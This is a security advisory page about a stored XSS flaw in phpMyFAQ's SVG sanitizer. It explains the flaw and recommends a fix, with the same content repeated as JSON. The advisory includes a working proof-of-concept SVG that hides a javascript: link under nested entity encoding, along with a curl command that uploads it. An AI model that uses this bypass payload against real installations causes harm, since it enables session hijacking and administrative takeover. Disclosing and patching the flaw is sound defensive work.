GHSA-WHQH-9PQ5-C7R3

Vulnerability from github – Published: 2026-05-06 20:18 – Updated: 2026-05-06 20:18
VLAI
Summary
phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS
Details

Summary

The SvgSanitizer::decodeAllEntities() method limits recursive entity decoding to 5 iterations. By wrapping each character of javascript in an href attribute value with 5 levels of & encoding around numeric HTML entities (e.g., j for j), an attacker can bypass both isSafe() detection and sanitize() removal. The uploaded SVG is served from the application origin with image/svg+xml content type, and the browser's XML parser fully decodes the remaining &#NNN; entities, resulting in a clickable javascript: link that executes arbitrary JavaScript.

Details

Root cause: decodeAllEntities() at phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249 limits entity decoding to maxIterations=5. Each iteration: (1) decodes &#NNN; numeric entities, (2) decodes &#xHH; hex entities, (3) calls html_entity_decode() which resolves one level of &&. With 5 levels of & wrapping, all 5 iterations are consumed unwinding the & nesting, leaving the final &#NNN; numeric entities unresolved.

Code path:

  1. Authenticated user with FAQ_EDIT permission uploads SVG via POST /admin/api/content/images (ImageController::upload() at line 39)
  2. File extension is svgSvgSanitizer::isSafe() called (line 114)
  3. isSafe() calls decodeAllEntities() — 5 iterations resolve & nesting but leave ja... (numeric entities for javascript)
  4. Pattern matching at line 47 (/href\s*=\s*["\'][\s]*javascript\s*:/i) does not match ja...
  5. isSafe() returns true — file saved without any sanitization
  6. SVG served directly by web server from content/user/images/ with image/svg+xml MIME type
  7. Browser's XML parser decodes jj, aa, etc., reconstructing javascript:alert(document.domain)
  8. User clicks the SVG link → JavaScript executes in the phpMyFAQ origin

The bypass is even simpler than initially described — no <script> decoy tag is needed. Since isSafe() itself is bypassed, the file is stored without sanitization and the sanitize() code path is never reached.

Relevant code in decodeAllEntities():

// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249
private function decodeAllEntities(string $content): string
{
    $previous = '';
    $decoded = $content;
    $maxIterations = 5;  // <-- insufficient for 5 levels of &amp; + numeric entity

    while ($decoded !== $previous && $maxIterations-- > 0) {
        $previous = $decoded;
        // Step 1: Decode decimal entities (&#106; → j)
        $decoded = preg_replace_callback('/&#(\d+);/', ...);
        // Step 2: Decode hex entities (&#x6A; → j)
        $decoded = preg_replace_callback('/&#x([0-9a-fA-F]+);/', ...);
        // Step 3: Decode named HTML entities (&amp; → &)
        $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, 'UTF-8');
    }
    // After 5 iterations with 5 &amp; levels: &#106; remains undecoded
    return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', '', $decoded);
}

PoC

Upload an SVG file containing a javascript: href where each character of javascript is entity-encoded with 5 levels of &amp; nesting around numeric entities. No <script> decoy is required — isSafe() itself is bypassed.

Step 1: Create malicious SVG file (xss.svg):

<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 200 200">
  <a href="&amp;amp;amp;amp;amp;#106;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#118;&amp;amp;amp;amp;amp;#97;&amp;amp;amp;amp;amp;#115;&amp;amp;amp;amp;amp;#99;&amp;amp;amp;amp;amp;#114;&amp;amp;amp;amp;amp;#105;&amp;amp;amp;amp;amp;#112;&amp;amp;amp;amp;amp;#116;:alert(document.domain)">
    <circle cx="100" cy="100" r="80" fill="red"/>
    <text x="100" y="110" text-anchor="middle" fill="white" font-size="20">Click me</text>
  </a>
</svg>

Step 2: Upload via admin image upload endpoint:

curl -b 'session_cookie' \
  -F "files[]=@xss.svg" \
  "https://TARGET/admin/api/content/images?csrf=VALID_TOKEN"

Expected response: {"success": true, ...} with the uploaded file URL.

Step 3: Access the uploaded SVG directly:

https://TARGET/content/user/images/1712345678_xss.svg

The browser renders the SVG as image/svg+xml. The XML parser decodes &#106;j, &#97;a, etc., producing href="javascript:alert(document.domain)". Clicking the red circle executes JavaScript in the phpMyFAQ origin.

Impact

  • Stored XSS: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin.
  • Session hijacking: Attacker can steal session cookies and CSRF tokens of other admins.
  • Privilege escalation: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control.
  • Data exfiltration: Access to all FAQ content, user data, and configuration accessible through the admin interface.

The blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.

Recommended Fix

The root cause is that decodeAllEntities() can be exhausted by deeply nested &amp; encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:

// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities()
private function decodeAllEntities(string $content): string
{
    $previous = '';
    $decoded = $content;
    $maxIterations = 10; // Increase from 5 to handle deeper nesting

    while ($decoded !== $previous && $maxIterations-- > 0) {
        $previous = $decoded;
        $decoded = preg_replace_callback(
            '/&#(\d+);/',
            static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
            $decoded,
        );
        $decoded = preg_replace_callback(
            '/&#x([0-9a-fA-F]+);/',
            static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
            $decoded,
        );
        $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: 'UTF-8');
    }

    // Safety net: if the loop exited due to iteration limit, do a final
    // numeric/hex entity decode pass to catch any remaining &#NNN; entities
    $decoded = preg_replace_callback(
        '/&#(\d+);/',
        static fn(array $matches): string => mb_chr((int) $matches[1], encoding: 'UTF-8'),
        $decoded,
    );
    $decoded = preg_replace_callback(
        '/&#x([0-9a-fA-F]+);/',
        static fn(array $matches): string => mb_chr(hexdec($matches[1]), encoding: 'UTF-8'),
        $decoded,
    );

    return preg_replace('/[\x00-\x08\x0b\x0c\x0e-\x1f\x7f]/', replacement: '', subject: $decoded);
}

Additionally, consider serving uploaded SVG files with Content-Disposition: attachment or Content-Type: application/octet-stream to prevent browser rendering, as a defense-in-depth measure.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpmyfaq/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.1.1"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "thorsten/phpmyfaq"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-79"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-06T20:18:48Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `SvgSanitizer::decodeAllEntities()` method limits recursive entity decoding to 5 iterations. By wrapping each character of `javascript` in an `href` attribute value with 5 levels of `\u0026amp;` encoding around numeric HTML entities (e.g., `\u0026amp;amp;amp;amp;amp;#106;` for `j`), an attacker can bypass both `isSafe()` detection and `sanitize()` removal. The uploaded SVG is served from the application origin with `image/svg+xml` content type, and the browser\u0027s XML parser fully decodes the remaining `\u0026#NNN;` entities, resulting in a clickable `javascript:` link that executes arbitrary JavaScript.\n\n## Details\n\n**Root cause:** `decodeAllEntities()` at `phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249` limits entity decoding to `maxIterations=5`. Each iteration: (1) decodes `\u0026#NNN;` numeric entities, (2) decodes `\u0026#xHH;` hex entities, (3) calls `html_entity_decode()` which resolves one level of `\u0026amp;` \u2192 `\u0026`. With 5 levels of `\u0026amp;` wrapping, all 5 iterations are consumed unwinding the `\u0026amp;` nesting, leaving the final `\u0026#NNN;` numeric entities unresolved.\n\n**Code path:**\n\n1. Authenticated user with `FAQ_EDIT` permission uploads SVG via `POST /admin/api/content/images` (`ImageController::upload()` at line 39)\n2. File extension is `svg` \u2192 `SvgSanitizer::isSafe()` called (line 114)\n3. `isSafe()` calls `decodeAllEntities()` \u2014 5 iterations resolve `\u0026amp;` nesting but leave `\u0026#106;\u0026#97;...` (numeric entities for `javascript`)\n4. Pattern matching at line 47 (`/href\\s*=\\s*[\"\\\u0027][\\s]*javascript\\s*:/i`) does **not** match `\u0026#106;\u0026#97;...`\n5. `isSafe()` returns **true** \u2014 file saved **without any sanitization**\n6. SVG served directly by web server from `content/user/images/` with `image/svg+xml` MIME type\n7. Browser\u0027s XML parser decodes `\u0026#106;` \u2192 `j`, `\u0026#97;` \u2192 `a`, etc., reconstructing `javascript:alert(document.domain)`\n8. User clicks the SVG link \u2192 JavaScript executes in the phpMyFAQ origin\n\nThe bypass is even simpler than initially described \u2014 no `\u003cscript\u003e` decoy tag is needed. Since `isSafe()` itself is bypassed, the file is stored without sanitization and the `sanitize()` code path is never reached.\n\n**Relevant code in `decodeAllEntities()`:**\n\n```php\n// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php:223-249\nprivate function decodeAllEntities(string $content): string\n{\n    $previous = \u0027\u0027;\n    $decoded = $content;\n    $maxIterations = 5;  // \u003c-- insufficient for 5 levels of \u0026amp; + numeric entity\n\n    while ($decoded !== $previous \u0026\u0026 $maxIterations-- \u003e 0) {\n        $previous = $decoded;\n        // Step 1: Decode decimal entities (\u0026#106; \u2192 j)\n        $decoded = preg_replace_callback(\u0027/\u0026#(\\d+);/\u0027, ...);\n        // Step 2: Decode hex entities (\u0026#x6A; \u2192 j)\n        $decoded = preg_replace_callback(\u0027/\u0026#x([0-9a-fA-F]+);/\u0027, ...);\n        // Step 3: Decode named HTML entities (\u0026amp; \u2192 \u0026)\n        $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, \u0027UTF-8\u0027);\n    }\n    // After 5 iterations with 5 \u0026amp; levels: \u0026#106; remains undecoded\n    return preg_replace(\u0027/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/\u0027, \u0027\u0027, $decoded);\n}\n```\n\n## PoC\n\nUpload an SVG file containing a `javascript:` href where each character of `javascript` is entity-encoded with 5 levels of `\u0026amp;` nesting around numeric entities. No `\u003cscript\u003e` decoy is required \u2014 `isSafe()` itself is bypassed.\n\n**Step 1: Create malicious SVG file (`xss.svg`):**\n\n```xml\n\u003csvg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 200 200\"\u003e\n  \u003ca href=\"\u0026amp;amp;amp;amp;amp;#106;\u0026amp;amp;amp;amp;amp;#97;\u0026amp;amp;amp;amp;amp;#118;\u0026amp;amp;amp;amp;amp;#97;\u0026amp;amp;amp;amp;amp;#115;\u0026amp;amp;amp;amp;amp;#99;\u0026amp;amp;amp;amp;amp;#114;\u0026amp;amp;amp;amp;amp;#105;\u0026amp;amp;amp;amp;amp;#112;\u0026amp;amp;amp;amp;amp;#116;:alert(document.domain)\"\u003e\n    \u003ccircle cx=\"100\" cy=\"100\" r=\"80\" fill=\"red\"/\u003e\n    \u003ctext x=\"100\" y=\"110\" text-anchor=\"middle\" fill=\"white\" font-size=\"20\"\u003eClick me\u003c/text\u003e\n  \u003c/a\u003e\n\u003c/svg\u003e\n```\n\n**Step 2: Upload via admin image upload endpoint:**\n\n```bash\ncurl -b \u0027session_cookie\u0027 \\\n  -F \"files[]=@xss.svg\" \\\n  \"https://TARGET/admin/api/content/images?csrf=VALID_TOKEN\"\n```\n\nExpected response: `{\"success\": true, ...}` with the uploaded file URL.\n\n**Step 3: Access the uploaded SVG directly:**\n\n```\nhttps://TARGET/content/user/images/1712345678_xss.svg\n```\n\nThe browser renders the SVG as `image/svg+xml`. The XML parser decodes `\u0026#106;` \u2192 `j`, `\u0026#97;` \u2192 `a`, etc., producing `href=\"javascript:alert(document.domain)\"`. Clicking the red circle executes JavaScript in the phpMyFAQ origin.\n\n## Impact\n\n- **Stored XSS**: Any user (including other administrators) who views and clicks the malicious SVG link has JavaScript executed in their browser within the phpMyFAQ origin.\n- **Session hijacking**: Attacker can steal session cookies and CSRF tokens of other admins.\n- **Privilege escalation**: An editor-level user can execute JavaScript as a super-admin who views the image, potentially gaining full administrative control.\n- **Data exfiltration**: Access to all FAQ content, user data, and configuration accessible through the admin interface.\n\nThe blast radius is limited by the requirement that a victim must click the link within the SVG. However, the SVG can be crafted to make the clickable area cover the entire visible image (as shown in the PoC), and the attacker controls the visual appearance.\n\n## Recommended Fix\n\nThe root cause is that `decodeAllEntities()` can be exhausted by deeply nested `\u0026amp;` encoding. The fix should ensure that after the decoding loop exits, a final pass of numeric/hex entity decoding is performed:\n\n```php\n// phpmyfaq/src/phpMyFAQ/Helper/SvgSanitizer.php - decodeAllEntities()\nprivate function decodeAllEntities(string $content): string\n{\n    $previous = \u0027\u0027;\n    $decoded = $content;\n    $maxIterations = 10; // Increase from 5 to handle deeper nesting\n\n    while ($decoded !== $previous \u0026\u0026 $maxIterations-- \u003e 0) {\n        $previous = $decoded;\n        $decoded = preg_replace_callback(\n            \u0027/\u0026#(\\d+);/\u0027,\n            static fn(array $matches): string =\u003e mb_chr((int) $matches[1], encoding: \u0027UTF-8\u0027),\n            $decoded,\n        );\n        $decoded = preg_replace_callback(\n            \u0027/\u0026#x([0-9a-fA-F]+);/\u0027,\n            static fn(array $matches): string =\u003e mb_chr(hexdec($matches[1]), encoding: \u0027UTF-8\u0027),\n            $decoded,\n        );\n        $decoded = html_entity_decode($decoded, ENT_QUOTES | ENT_HTML5, encoding: \u0027UTF-8\u0027);\n    }\n\n    // Safety net: if the loop exited due to iteration limit, do a final\n    // numeric/hex entity decode pass to catch any remaining \u0026#NNN; entities\n    $decoded = preg_replace_callback(\n        \u0027/\u0026#(\\d+);/\u0027,\n        static fn(array $matches): string =\u003e mb_chr((int) $matches[1], encoding: \u0027UTF-8\u0027),\n        $decoded,\n    );\n    $decoded = preg_replace_callback(\n        \u0027/\u0026#x([0-9a-fA-F]+);/\u0027,\n        static fn(array $matches): string =\u003e mb_chr(hexdec($matches[1]), encoding: \u0027UTF-8\u0027),\n        $decoded,\n    );\n\n    return preg_replace(\u0027/[\\x00-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]/\u0027, replacement: \u0027\u0027, subject: $decoded);\n}\n```\n\nAdditionally, consider serving uploaded SVG files with `Content-Disposition: attachment` or `Content-Type: application/octet-stream` to prevent browser rendering, as a defense-in-depth measure.",
  "id": "GHSA-whqh-9pq5-c7r3",
  "modified": "2026-05-06T20:18:48Z",
  "published": "2026-05-06T20:18:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-whqh-9pq5-c7r3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ has a SVG Sanitizer Entity Decoding Depth Limit Bypass Leading to Stored XSS"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…